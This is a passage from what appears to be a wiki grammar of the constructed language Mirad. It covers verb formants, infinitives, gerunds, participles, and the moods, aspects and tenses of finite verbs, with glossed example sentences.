| '''-u-'''|| action toward object || '''buer'''....''to give'', '''nuer'''....''to supply'', '''ifuer'''....''to please'', '''duer'''....''to suggest''
|-
| '''-d-''' || communication || '''der'''....''to say'', '''vader'''....''to affirm'', '''yevder'''....''to judge''
|-
| '''-dr-''' || writing || '''drer'''....''to write'', '''teedrer'''....''to report'', '''taxdrer'''....''to record''
|-
| '''-dy-''' || reading || '''dyer'''....''to read''
|-
| '''-t-''' || knowing (a thing)|| '''ter'''....''to know'', '''tester'''....''to understand'', '''teater'''....''to see''
|-
| '''-tr-''' || knowing (a person)|| '''trer'''....''to recognize''
|-
| '''-ty-''' || knowing (how) || '''tyer'''....''to know how''
|-
| '''-f-''' || volition and modal verbs || '''fer'''....''to want'', '''ifer'''....''to love'', '''ufer'''....''to hate'', '''yafer'''....''to be able''
|-
| '''-fi-''' || toward the subject || '''ifier'''....''to enjoy''
|-
| '''-fu-''' || toward a patient || '''ifuer'''....''to amuse''
|-
| '''-fl-''' || more intensive || '''ifler'''....''to be fond of'', '''yafler'''....''to wield power''
|-
| '''-fli-''' || toward the subject || '''iflier'''....''to be charmed by''
|-
| '''-flu-''' || toward a patient || '''ifluer'''....''to enchant''
|-
| '''-fr-''' || most intenstive || '''ifrer'''....''to worship'', '''ufrer'''....''to loathe'', '''yufrer'''....''to cringe''
|-
| '''-fri-''' || toward the subject || '''ifrier'''....''to become infatuated with''
|-
| '''-fru-''' || toward a patient || '''ifruer'''....''to infatuate''
|-
| '''-v-''' || some modal verbs || '''yiver'''....''to have a right to'', '''yuver'''....''to have a duty to''
|-
| '''-vi-''' || toward the subject || '''ivier'''....''to derive joy from''
|-
| '''-vu-''' || toward a patient || '''ivuer'''....'' to cheer up''
|-
| '''-vl-''' || more intensive || '''yuvler'''....''to be bound to'', '''yavler'''....''to be proud''
|-
| '''-vli-''' || toward the subject || '''yavlier'''....''to take pride in''
|-
| '''-vlu-''' || toward a patient || '''yavluer'''....''to instill pride in''
|-
| '''-vr-''' || most intensive || '''uvrer'''....''to grieve''
|-
| '''-vri-''' || toward the subject || '''uvrier'''....''to grieve''
|-
| '''-vru-''' || toward a patient || '''uvruer'''....''to aggrieve''
|-
| '''-k-''' || various verbs || '''aker'''....''to win'', '''oker'''....''to lose'', '''eker'''....''to play'', '''yeker'''....''to try'', '''yaker'''....''to expect'', '''yoker'''....''to be surprised by''
|-
| '''-ki-''' || toward the subject || '''akier'''....''to gain from'', '''yekier'''....''to undertake''
|-
| '''-ku-''' || toward a patient || '''yekuer'''....''to challenge''
|-
| '''-kl-''' || more intensive || '''akler'''....''to conquer'', '''yekler'''....''to strive''
|-
| '''-kli-''' || toward the subject || '''eklier'''....''to take a risk''
|-
| '''-klu-''' || toward a patient || '''ekluer''....''to put at risk''
|-
| '''-kr-''' || most intensive || '''akrer'''....''to triumph''
|-
| '''-j-''' || opening/closing || '''ijer'''....''to begin'', '''ujer'''....''to end'', '''tajer'''....''to be born'', '''tojer'''....''to die'', '''yujer'''....''to close''
|-
| '''-jl-''' || more intensive || '''yujler'''....''to lock''
|-
| '''-jr-''' || most intensive || '''yujrer'''....''to block''
|-
| '''-l-''' || a few verbs || '''baler'''....''to press'', '''boler'''....''to support'', '''beler'''....''to carry'', '''daler'''....''to speak'', '''deler'''....''to state'', '''doler'''....''to be quiet'', '''galer'''....''to multiply'', '''goler'''....''to divide'', ....'''mageler'''....''to cook''
|-
| '''-r-''' || a few verbs || '''ingarer'''....''to cube'', '''engorer'''....''to get the square root of'''''barer'''....''to crush''
|-
| '''-ar-'''&lt;br&gt;'''-ir-'''&lt;br&gt;'''-ur-'''|| tool use || '''ukarer'''....''to shovel'', '''purer'''....''to drive'', '''myekirer'''....''to mill''
|-
| '''-z-'''|| perform an art || '''dazer'''....''to dance'', '''dezer'''....''to act'', '''deuzer'''...''to sing''
|}
: Verbs containing formants '''s''' or '''p''' are generally intransitive, while all the other formants create transitive verbs.  All of the verbs with transitive formants can be passivized by adding '''w''', eg.:
:* '''oker'''....''to lose'' &lt;big&gt;→&lt;/big&gt; '''okwer'''....''to be lost''
:* '''baler'''....''to press'' &lt;big&gt;→&lt;/big&gt; '''balwer'''....''to be pressed''
:* '''koxer'''....''to hide''  &lt;big&gt;→&lt;/big&gt; '''koxwer'''....''to be hidden''
:* '''ujler'''....''to lock''  &lt;big&gt;→&lt;/big&gt; '''ujlwer'''....''to be locked''
:* '''ser'''....''to be'' (cannot be passivized)
:* '''per'''....''to go'' (cannot be passivized)
: Some verbs with formants '''-pl-''' and '''-pr-''' can usually be passivized with '''w''', eg.:
:* '''yaprer'''....''to climb''  &lt;big&gt;→&lt;/big&gt; '''yaprwer'''....''to be climbed''
:* '''aypler'''....''to surmount''  &lt;big&gt;→&lt;/big&gt; '''ayplwer'''....''to be surmounted''

== Verb Categories ==

: Verbs have '''''morphological categories''''', which involve changes to the verb not always found in the dictionary, but developed through rule-bound affixation (such as ''live'', ''lives'', ''lived'', ''living'').  They also have '''''lexical categories''''', which involve derived forms usually listed in dictionaries (''enjoy'', ''enjoyable'', ''enjoyment'')

=== Morphological Categories ===
 
: Verbs are inflected with the following '''''morphological categories''''': 

::* '''''2 states''''': finite, non-finite
::* '''''4 tenses''''': present, past, future, atemporal&lt;sup&gt;1&lt;/sup&gt;
::* '''''5 aspects''''': simple, progressive, perfect, imminent, potential
::* '''''2 voices''''': active, passive
::* '''''2 moods''''': indicative, hypothetical


:&lt;small&gt;'''''Note 1:''''' The term &quot;atemporal&quot; means that tense is not marked.  For example, in Mirad, '''Pu!''' is the imperative of the verb '''per'''....''to go''.  It means ''Go!'' and is atemporal.  The '''-u''' ending is an atemporal hypothetical mood marker.&lt;/small&gt;

: In effect, the PERSON/NUMBER category is not listed above, because this category does not affect the morphology of the Mirad verb form itself. The Mirad verb form stays the same for all persons and numbers.  That information is contained in the external subject pronouns governing the verb.  In English, for example, the verb &quot;be&quot; has several different forms in the present tense verb form depending on the person and number (I &lt;u&gt;am&lt;/u&gt;, you &lt;u&gt;are&lt;/u&gt;, he &lt;u&gt;is&lt;/u&gt;, we &lt;u&gt;are&lt;/u&gt;, etc.), but not so in Mirad.  The following chart shows how the English pattern differs from the corresponding single Mirad verb form '''se''' for all persons and numbers:


:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller&quot;
|+ Verb '''ser''' (''to be'') Unchanged for person/number
|-
! Person !! Number !! English !! Mirad
|-
!row=1| 1st !! row=1 rowspan=3| Singular 
| ''I &lt;u&gt;am&lt;/u&gt;'' || '''at &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you &lt;u&gt;are&lt;/u&gt;'' || '''et &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''he/she &lt;u&gt;is&lt;/u&gt;'' || '''it &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 1st !! row=1 rowspan=3| Plural 
| ''we &lt;u&gt;are&lt;/u&gt;'' || '''yat &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 2nd 
| ''you (pl.) &lt;u&gt;are&lt;/u&gt;'' || '''yet &lt;u&gt;se&lt;/u&gt;'''
|-
!row=1| 3rd 
| ''they &lt;u&gt;are&lt;/u&gt;'' || '''yit &lt;u&gt;se&lt;/u&gt;'''
|}

: This invariability of person/number exists for all tenses.

=== Lexical Categories ===

:: In addition, verbs can be described in terms of the following opposing '''''lexical''''' categories.  By lexical, is meant that verbs having different lexical properties are listed in the dictionary and have nothing to do with conjugation.


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller;margin-left:1.6em;&quot;
|+ Verb Lexical Categories
|-
! Stative !! Dynamic
|-
| '''ser'''....''to be'' || '''xer'''....''to do''
|-
! Intransitive !! Transitive
|-
| '''agaser'''....''to grow large'' || '''agaxer'''....''to magnify''
|-
! Subject-directed !! Patient-directed
|-
| '''bier'''....''to take'' || '''buer'''....''to give''
|-
! Reflexive !! Non-reflexive
|-
| '''utvyixer'''....''to wash up (wash oneself)'' || '''vyixer'''....''to wash''
|-
! Inchoative !! Causative
|-
| '''tujper'''....''fall asleep'' || '''tujber'''....''put to sleep''
|-
! Autonomous !! Dynamic
|-
| '''yijer'''....''to open (by itself)'' || '''yijber'''....''to (make it) open''
|-
! Reciprocal !! Non-reciprocal
|-
| '''hyuittujber'''....''to kill one another'' || '''tujber'''....''to kill''
|-
! Gestural !! Locomotive
|-
| '''baser'''....''to stir, budge'' || '''paser'''....''to move''
|-
! Subject-oriented !! Object-oriented
|-
| '''teetyiker'''....''to be hard of hearing'' || '''teetyikwer'''....''to be hard to hear''
|}

== Non-finite Forms ==
: '''''Non-finite verb forms''''' are
::* not conjugated for person or number
::* cannot form a predicate
::* and do not have a subject.  

: There are three kinds of non-finite verb forms in Mirad:

::* '''''infinitives''''': the dictionary lookup form of a verb, ending in '''-er'''
:::* '''der'''....''to say'', '''tixayer'''....''to have studied'', '''xwer'''....''to be done''
::* '''''gerunds''''': verbal nouns, ending in '''-en'''
:::* '''byasen'''....''(the act of) standing''
::* '''''participles''''': verbal adjectives, ending in '''-a'''
:::* '''tejea'''....''living (alive)'', '''twa'''....''known'', '''piya'''....''departed''
=== Infinitives ===
: Verbs are listed in the dictionary under the '''''active voice simple aspect infinitive''''' form, which always ends in '''er''' and means ''to X'', or rarely the passive voice simple aspect infinitive form, which ends in '''wer''' and means ''to be Xed''.  The part of the verb form minus the '''-er''' or '''-wer''' is the '''''verb stem'''''. Very rarely at verb can be expressed as a past active or past passive infinitive in '''ayer''' and '''awer''', respectively. (For example: '''Tejayer boy ifawer naze glo.'''....''To have lived without having loved counts little.'').

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em&quot;
|+ Infinitive Stems
|-
! Infinitivw || Stem !! Ending
|-
| '''agser'''....''to grow'' || '''ags-''' || '''-er'''  
|-
| '''igxer'''....''to quicken'' || '''igx-''' || '''-er''' 
|-
| '''per'''....''to go'' || '''p-''' || '''-er'''  
|-
| '''xwer'''....''to happen, be done'' || '''x-''' || '''-wer''' 
|-
| '''tejayer'''....''to have lived'' || '''tej-''' || '''-ayer'''
|-
| '''ifawer'''....''to have loved'' || '''if-''' || '''-awer'''
|}

: The infinitive in Mirad is used very much as its counterpart in English.  The infinitive can be marked for two aspects (simple, perfect) and two voices (active, passive), as shown in the chart below, where the verb stems are underlined:


{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Active and Passive Infinitive Stems
|-
! Aspect !! Active Voice !! Passive Voice
|-
!row=1| Simple
| '''&lt;u&gt;igx&lt;/u&gt;er'''....''to quicken'' || '''&lt;u&gt;igx&lt;/u&gt;wer'''....''to be quickened''
|-
!row=1| Perfect
| '''&lt;u&gt;igx&lt;/u&gt;ayer'''....''to have quickened'' || '''&lt;u&gt;igx&lt;/u&gt;awer'''....''to have been quickened''
|}

: In the above chart,
::* the verb stem is '''igx-''' and
::* the infinitive marker is '''-er''';
::* the simple aspect active voice marker is zero;
::* the simple aspect passive voice marker is '''w''';
::* the perfect aspect active voice marker is '''-ay-''';
::* the past aspect passive voice marker is '''-aw-'''.

The passive voice infinitive of a verb will not appear in the dictionary unless it has a special meaning, such as '''xwer''' ''to happen (= to be done)''.  The perfect infinitives are never listed in the dictionary.

=== Gerunds ===
: The gerund is a verbal noun like English ''playing'' in ''playing ball.''
: The gerund has two possible '''''aspects''''' (simple and perfect) and two possible '''''voices''''' (active and passive):

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em; &quot;
|+ Gerund Formation
|-
! Aspect !! Voice !! Ending !! Example
|-
!row=1| Simple !! Active 
| '''-en''' || '''agax&lt;u&gt;en&lt;/u&gt;'''....''magnifiying, magnification''
|-
!row=1| Simple !! Passive
| '''-wen''' || '''agax&lt;u&gt;wen&lt;/u&gt;'''....''being magnified''
|-
!row=1| Perfect !! Active 
| '''-ayen''' || '''byek&lt;u&gt;ayen&lt;/u&gt;'''....''having cured''
|-
!row=1| Perfect !! Passive 
| '''-awen''' || '''byek&lt;u&gt;awen&lt;/u&gt;'''....''having been cured''
|}

: Note: Intransitive verbs like '''per''' ''to go'' do not have a passive gerund form.

: Lexicalized gerunds, such as '''sanxen''' ''formation, forming'' generally appear in the dictionary in the active voice.

: Some examples of gerund usage:

::* ('''sanxer'''....''to form'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ha &lt;u&gt;sanxen&lt;/u&gt; bi hia mar efxa amroni bi jabi.'''....''The &lt;u&gt;forming&lt;/u&gt; (or: &lt;u&gt;formation&lt;/u&gt;) of this star took millions of years.''
::* ('''deuzer'''....''to sing'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Iyta &lt;u&gt;deuzen&lt;/u&gt; sa gla via.'''....''Her &lt;u&gt;singing&lt;/u&gt; was very beautiful.''
::* ('''poper'''....''to travel'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Popen&lt;/u&gt; se yika yex.'''....''&lt;u&gt;Traveling&lt;/u&gt; is hard work.''
::* ('''teeter'''....''to hear'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teetwen&lt;/u&gt; fiay se teskyia av dezuti.'''....''&lt;u&gt;Being heard&lt;/u&gt; well is important for actors.''
::* ('''teater'''....''to see'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''&lt;u&gt;Teaten&lt;/u&gt; se &lt;u&gt;vyatexen&lt;/u&gt;.'''.....''&lt;u&gt;Seeing&lt;/u&gt; is &lt;u&gt;believing&lt;/u&gt;.''
::* ('''uper'''....''to come'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''His se ha jeb bi &lt;u&gt;Upen&lt;/u&gt;.'''....''This is the season of &lt;u&gt;Advent&lt;/u&gt; (coming).''
::* ('''tadier'''....''to get married'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''Ata &lt;u&gt;tadiayen&lt;/u&gt; ewa jodi bixa tepzex.'''....''My &lt;u&gt;having married&lt;/u&gt; twice drew attention.''
::* ('''aker'''....''to win'')&amp;nbsp;&amp;nbsp;&amp;nbsp; '''At voy ta ita &lt;u&gt;akawen&lt;/u&gt; hua nuz.'''....''I did not know about his &lt;u&gt;having won&lt;/u&gt; that prize.''
: Gerunds, being verb forms, can take direct and indirect objects:
::* '''At ifxwe bey eta buayen at hua nas.'''....''I am pleased by your having given me that money.''
::* '''Tojben eut voy se kexbiyaf.'''....''Killing yourself is not an option.''

: The special gerundive ending '''-eyn''' gives a nuance emphasizing the action as a single act, much like the English endings ''-ment'' or ''-tion''.  Here are a few examples showing the difference between '''-en''' and '''-eyn'''.
::* '''yanlaxen'''....''combining''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''yanlaxeyn'''....''combination''
::* '''xen'''....''doing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''xeyn'''....''action, deed''
::* '''zayben'''....''advancing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zaybeyn'''....''advancement''

: Another special gerundive (but lexical) ending is '''-un''', which expresses the result of an action, eg.:
::* '''zyegxer'''....''to puncture''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyegxun'''....''a puncture''
::* '''zyeuber'''....''to transmit''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''zyeubun'''....''a broadcast''
::* '''deuzer'''....''to sing''&amp;nbsp;&amp;nbsp;&lt;big&gt;≠&lt;&lt;/big&gt;&amp;nbsp;&amp;nbsp;'''deuzun'''....''a song''

=== Participles ===
: Participles are verbal adjectives and can modify nouns and pronouns.  Since they act as adjectives, they have the adjectival ending '''-a'''.  Participles are marked by '''''aspect''''' (simple, progressive, perfect, imminent, potential) and '''''voice''''' (active, passive).
: The aspect markers per voice are:
:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:1.6em;&quot;
|+ Aspect Markers
|-
! Aspect !! Voice !! Form !! Example
|-
! rowspan=2| Progressive
! rowspan=1 | Active 
| '''-ea-''' || '''tejea'''....''living''
|-
! rowsspan=1 | Passive 
| '''wea''' || '''xwea'''....''happening, being done''
|-
! rowspan=2| Perfect
! rowspan=1 |Active
| '''-ya''' || '''pya'''....''gone''   (&lt; '''pyaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=1| Passive 
| '''-wa''' || '''xwa'''....''done''   (&lt; '''xwaa'''&lt;sup&gt;1&lt;/sup&gt;)
|-
! rowspan=2| Imminent
! Active 
| '''-oa''' || '''tojoa'''....''about to die''
|-
! rowspan=1 | Passive 
| '''-woa''' || '''dodelwoa'''....''about to be announced''
|-
! rowspan=2| Potential
! Active 
| '''-ua''' || '''tojbua'''....''lethal''
|-
! rowspan=1| Passive 
| '''-wua''' || '''opoxwua'''....''unstoppable''
|}
: &lt;small&gt;&lt;sup&gt;1&lt;/sup&gt;: The double '''aa''' in the perfect endings is reduced to '''a'''.&lt;/small&gt;
: '''''Note 1:''''' The perfect active particple ending in '''-ya''' is used only for intransitive verbs like '''per''' (''to go'').  '''He is &lt;u&gt;gone&lt;/u&gt;.''' is expressed by '''Wit se &lt;u&gt;pya&lt;/u&gt;'''.
: '''''Note 2:''''' The potential aspect, represented by the vowel '''u''' is much like the conditional in English, but is not considered a tense in Mirad.  For example, '''tojbu''' means ''would kill'' and the participle '''tojbua''' means ''lethal'' (referring to something that ''would/has the potential to kill'').  More about this in a later section.
: '''''Note 3:''''' There is another form of the progressive participle that falls in the lexical, rather than morphological category, in that such forms are listed in the dictionary as adjectives.  For example, in the phrase ''The animals &lt;u&gt;bothering&lt;/u&gt; our bird feeder...'', the participle ''bothering'' would be '''oboxea''' in Mirad.  By inserting the letter '''y''' between the verb stem and the participial ending, the participle becomes an adjective denoting a propensity or habit, as in ''bothersome'' ('''obox&lt;u&gt;y&lt;/u&gt;ea''').  Such participles are invariably in the active voice.  Most such adjectives in English end in ''-ive'' as in ''repulsive'' or ''-ly'' as in ''wiggly'' or ''-ous'' as in ''circuitous.''  Such adjectives in Mirad are listed in the dictionary and end in '''-yea'''.

: Adverbial participles can be made from the above adjectival participles, by suffixing the letter '''y'''.  Examples:
::* '''Iyt yepa ha tim &lt;u&gt;deuzeay&lt;/u&gt;.'''....''She entered the room &lt;u&gt;singing&lt;/u&gt;.''
::* '''&lt;u&gt;Ujbaway&lt;/u&gt; ha dodal, it pia.'''....''The speech &lt;u&gt;having been finished&lt;/u&gt;, he left.''
: Also, the above participles can be converted into abstract nouns by suffixing '''n'''.  Examples:
::* '''tiluwa'''....''drinkable'' &lt;big&gt;→&lt;/big&gt; '''tiluwan'''....''potability''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuan'''....''lethality''
::* '''mansea'''....''shining'' &lt;big&gt;→&lt;/big&gt; '''he &lt;u&gt;mansean&lt;/u&gt; bi iyta deuzen'''....''the &lt;u&gt;brilliance&lt;/u&gt; of her singing''
::* '''aakaxyea'''....''inventive'' &lt;big&gt;→&lt;/big&gt; '''aakaxyean'''....''inventiveness''
: Furthermore, these participles can sometimes be pronominalized with '''s''' for things and '''t''' for people or living things.  These forms can, in turn, be pluralized:

::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwas'''....''what is done, a happening''
::* '''xwa'''....''done'' &lt;big&gt;→&lt;/big&gt; '''xwasi'''....''happenings, deeds''
::* '''otwa'''....''unknown'' &lt;big&gt;→&lt;/big&gt; '''otwas'''....''what is not known, a mystery''
::* '''osexea'''....''destroying'' &lt;big&gt;→&lt;/big&gt; '''osexeas'''....''a destroyer''
::* '''tojbua'''....''lethal'' &lt;big&gt;→&lt;/big&gt; '''tojbuas'''....''something lethal, a lethal thing''
::* '''tojboa'''....''moribund'' &lt;big&gt;→&lt;/big&gt; '''tojboati'''....''people about to die, fatal cases''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeat'''....''a living person''
::* '''tejea'''....''living'' &lt;big&gt;→&lt;/big&gt; '''tejeasi'''....''living things''
: There is a special tenseless, nominalized, animate participle used for '''''agent''''' nouns (English ''one who does something, Xer'', ''Xant'', ''Xist''), which refers to a person who habitually does some action, perhaps as a profession or trade.  These agent nouns end in '''-ut'''.
::* '''sexut'''....''builder''
::* '''nuut'''....''supplier''
::* '''tojbut'''....''killer''
::* '''ifut'''....''lover''
::* '''akuti'''....''winners''
: Note: There is a slight difference of meaning between the tensed participial pronoun '''ha akeat'''....''the one winning'' and the non-tensed agent noun '''ha akut'''....''the winner''.
: Similarly, there is a special tenseless, nominalized, &lt;u&gt;in&lt;/u&gt;animate participle used for a thing that performs the action denoted by the verb stem.  These agent nouns end in '''-us'''.

::* '''yuxus'''....''aid (a thing that helps)''
::* '''byuxwus'''....''button (a thing that gets touched on the keyboard)''
::* '''paxus'''....''motive (a thing that moves one)''
::* '''jaupus'''....''precedent (a thing that comes before)''
: The above '''-us''' ending contrasts with the endings '''-ar''' (''instrument''), '''-ir''' (''machine''), '''-ur''' (''motor, engine''), which are physical objects and not always suffixed to a verbal root.

== Finite Forms ==
[[File:Auxiliary verbs tree 3.png|thumb|]]
: In Mirad, finite verb forms are those that can take a person subject, serve as a predicate, and be conjugated. Finite verb forms are conjugated by using suffixes indicating, through their presence or absence, the following categories:

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* TENSES 
:::# '''''present'''''
:::# '''''past'''''
:::# '''''future'''''
:::# '''''atemporal'''''
::* MOODS
:::# '''''indicative'''''
:::# '''''hypothetical'''''
::* ASPECTS
:::# '''''simple'''''
:::# '''''progressive'''''
:::# '''''perfect'''''
:::# '''''imminent'''''
:::# '''''potential'''''
::* VOICES
:::# '''''active'''''
:::# '''''passive'''''
:::# '''''reflexive'''''
:::# '''''reciprocal'''''
&lt;/div&gt;

: Person and number are not marked on the verb form itself.  For example, ''am'', ''is'', ''are'', which change according to the person subject in English,  are all expressed with the same verb form in Mirad: '''se'''.  Thus, '''at se'''....''I am'', '''et se'''....''you are'', '''it se'''....''he/she/it is'', etc.

=== Moods ===
: There are two moods in Mirad:
::* '''''indicative'''''
::* '''''hypothetical'''''.

===== Indicative Mood =====
: The '''''indicative''''' form of the verb indicates an action or state that occurs in actual time, such as ''he went'', ''he is going'', ''he will go.''

: The indicative mood has three tenses, '''''present''''', '''''past''''', '''''future''''',  indicated by the suffixes '''-e''', '''-a''', and '''-o''', respectively.

===== Hypothetical Mood =====
: Wheras the indicative verb forms expresses actuality in time, the '''''hypothetical mood''''' expresses one of the non-actuality situations below and uses the vowel '''u'''.

::* a command , i.e. the '''''imperative''''' (''Go!'')
::* a wish or suggestion, i.e. the '''''hortative''''' or '''''jussive''''' (''May the king live long!'', ''Let's celebrate!'')
::* an unrealized situation, i.e. the '''''subjunctive''''' (''It is important that you &lt;u&gt;be&lt;/u&gt; early.'')
::* an imagined if-then-situation, i.e. the '''''conditional''''' (''If I &lt;u&gt;were&lt;/u&gt; rich, I &lt;u&gt;would be&lt;/u&gt; happy.'')

=== Aspects ===

: There are five aspects in the Mirad verb system.

&lt;div style=&quot;background: lightyellow;{{text default color}};&quot;&gt;
::* the '''''simple''''' aspect (default), i.e. non-progressive, non-perfect, non-imminent, and non-conditional.
::* the '''''progressive''''' aspect, i.e. an action or state on-going in the particular tense, using '''ey'''
::* the '''''perfective''''' aspect, i.e. an action or state anterior or already completed, using '''ay'''
::* the '''''imminent''''' aspect, i.e. an action or state about to happen, using '''oy'''
::* the '''''potential''''' aspect, i.e. an action potentially happening, using '''uy'''
&lt;/div&gt;
===== The Simple Aspect =====

:: Unless specifically marked, the default aspect is '''''simple''''', i.e. non-progressive, non-perfect, non-imminent, and non-conditional.  Three indicative tenses can be expressed in the simple aspect:
::* Present with '''e'''
::* Past with '''a'''
::* Future with '''o'''. 

:: An atemporal verb ending in '''u''' in the simple aspect is considered hypothetical and expresses three things, depending on how it is used in the sentence:
::* a conditional like ''I would go (if...)''
::* an imperative like ''Go!''
::* a hortative like ''Let's go!''
::* a subjunctive like ''(It is important that) we go.''

:: Here is a chart showing the simple, active voice instantiations of the Mirad verb '''per''' (''to go'')  with the endings underlined:

{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}}; font-size:smaller; margin-left:3.2em;&quot;
|+ Simple Active Conjugation of '''Per'''
|-
! Mood !! Tense !! Aspect !! Voice !! Instantiation !! Verb '''per'''
|-
!row=1| Indicative !! Present !! Simple !! Active !!
| '''At p&lt;u&gt;e&lt;/u&gt;'''....''I go''
|-
!row=1| Indicative !! Past !! Simple !! Active !!
| '''At p&lt;u&gt;a&lt;/u&gt;'''....''I went''
|-
!row=1| Indicative !! Future !! Simple !! Active !!
|'''At p&lt;u&gt;o&lt;/u&gt;'''....''I will go''
|-
!row=1 rowspan=4 | Hypothetical
!rowspan=4| Atemporal
!rowspan=4| Simple
!rowspan=4| Active 
! Conditional
|'''At p&lt;u&gt;u&lt;/u&gt;'''....''I would go''
|-
! Hortative/Optative/Jussive
|'''Van yat p&lt;u&gt;u&lt;/u&gt;!'''....''Let's go!''
|-
! Imperative
|'''P&lt;u&gt;u&lt;/u&gt; tam!'''....''Go home!''
|-
! Subjunctive
|'''Se efwa van et p&lt;u&gt;u&lt;/u&gt;.'''....''It is necessary that you go.''
|}

: Note that the last four instantiations are the same tense, but differ in syntax.  For example, if the verb form is hypothetical, atemporal, simple, active and has no subject, it operates as an imperative.

==== The Simple Indicative Present Active Tense ====

:: The simple indicative present instantiation is marked with the vowel suffix '''e''' and has a non-progressive ('''''habitual''''') aspect as in English ''I work'' or ''I live''.  Progressive aspect forms like ''I am studying'' are explained later.

:: Examples:
:::* '''At &lt;u&gt;yexe&lt;/u&gt; be tam.''' ....''I &lt;u&gt;work&lt;/u&gt; at home''.
:::* '''Hia tom &lt;u&gt;se&lt;/u&gt; nam.''' ....''This building &lt;u&gt;is&lt;/u&gt; a store.''
:::* '''Ha amur &lt;u&gt;yuzpe&lt;/u&gt; ha imer.'''....''The moon &lt;u&gt;goes around&lt;/u&gt; the earth.''

==== The Simple Indicative Past Active Tense ====
: The simple indicative past tense instantiation is marked with the vowel suffix '''a''' and has a non-progressive (punctual) meaning as in English ''I did something at some particular point in time''.  The simple past contrasts in aspect with the past progressive (''I was doing something'') or the present perfect (''I have done something''), or past potential (''I would have done something'').  The simple past is punctual, that is, it describes an event that occurred at a particular point in time.
: Examples:
::* '''Iyt &lt;u&gt;iba&lt;/u&gt; ha nyuf zojub.''' ....''She &lt;u&gt;received&lt;/u&gt; the package yesterday.''
::* '''At &lt;u&gt;ujba&lt;/u&gt; ha dyes ji iwa jwobi.''' ....''I &lt;u&gt;finished&lt;/u&gt; the book three hours ago.''
::* '''His &lt;u&gt;kyesa&lt;/u&gt; exag hijub.'''....''This &lt;u&gt;happened&lt;/u&gt; twice today.''

==== The Simple Indicative Future Active Tense ====

: The simple indicative future tense is marked with the vowel suffix '''o''' and has the same meaning as in English ''I will do something at some particular point in the future''.

: Examples: 
::* '''Yit &lt;u&gt;tadso&lt;/u&gt; zajab.'''....''They &lt;u&gt;are going to get married&lt;/u&gt; next year.''
::* '''Hua kaxon &lt;u&gt;ujako&lt;/u&gt;.''' ....''That solution &lt;u&gt;will work&lt;/u&gt;.''
::* '''At &lt;u&gt;so&lt;/u&gt; him hoj et &lt;u&gt;upo&lt;/u&gt;.'''....''I &lt;u&gt;will be&lt;/u&gt; here when you &lt;u&gt;(will) come.&lt;/u&gt;&lt;sup&gt;1&lt;/sup&gt;''
:: Note 1: Unlike in English,  Mirad does not use the present tense for a real future.  There is also no sequence of tenses in Mirad (such as, ''He said he was coming.''.  In Mirad, this would be expressed as ''He said he &lt;u&gt;will&lt;/u&gt; come.'').

==== The Simple Hypothetical Atemporal Active Tense ====

: A verb form ending in '''u''' like '''pu''' has no time value and is used to express unreal actions or states, such as the '''''imperative''''', '''''hortative''''', '''''conditional''''', or '''''subjunctive'''''.
: Examples:
::* '''&lt;u&gt;Upu&lt;/u&gt; him!'''....''&lt;u&gt;Come&lt;/u&gt; here!'' ('''''imperative''''')
::* '''&lt;u&gt;Von upu&lt;/u&gt;!''' ....''&lt;u&gt;Don't come&lt;/u&gt;!'' ('''''negative imperative''''')
::* '''Ha edeb &lt;u&gt;fu&lt;/u&gt; teater et.''' ....''The king &lt;u&gt;would like&lt;/u&gt; to see you.'' ('''''conditional''''')
::* '''Ven at &lt;u&gt;su&lt;/u&gt; et, at &lt;u&gt;dolu&lt;/u&gt;.''' ....''If I &lt;u&gt;were&lt;/u&gt; you, I &lt;u&gt;would be&lt;/u&gt; quiet.'' ('''''conditional''''')
::* '''Van yeyt &lt;u&gt;ujaku&lt;/u&gt; be yeyta yexneadi.''' ....''May all you (women) &lt;u&gt;succeed&lt;/u&gt; in your careers.'' ('''''hortative''''')
::* '''Van yat &lt;u&gt;ijbu&lt;/u&gt; bay fyadil.''' ....''Let's &lt;u&gt;begin&lt;/u&gt; with a prayer.'' ('''''jussive''''')
::* '''Se kyitesa &lt;u&gt;van et puu&lt;/u&gt; jwa.''' ....''It's important &lt;u&gt;that you arrive&lt;/u&gt; early.'' ('''''subjunctive''''')
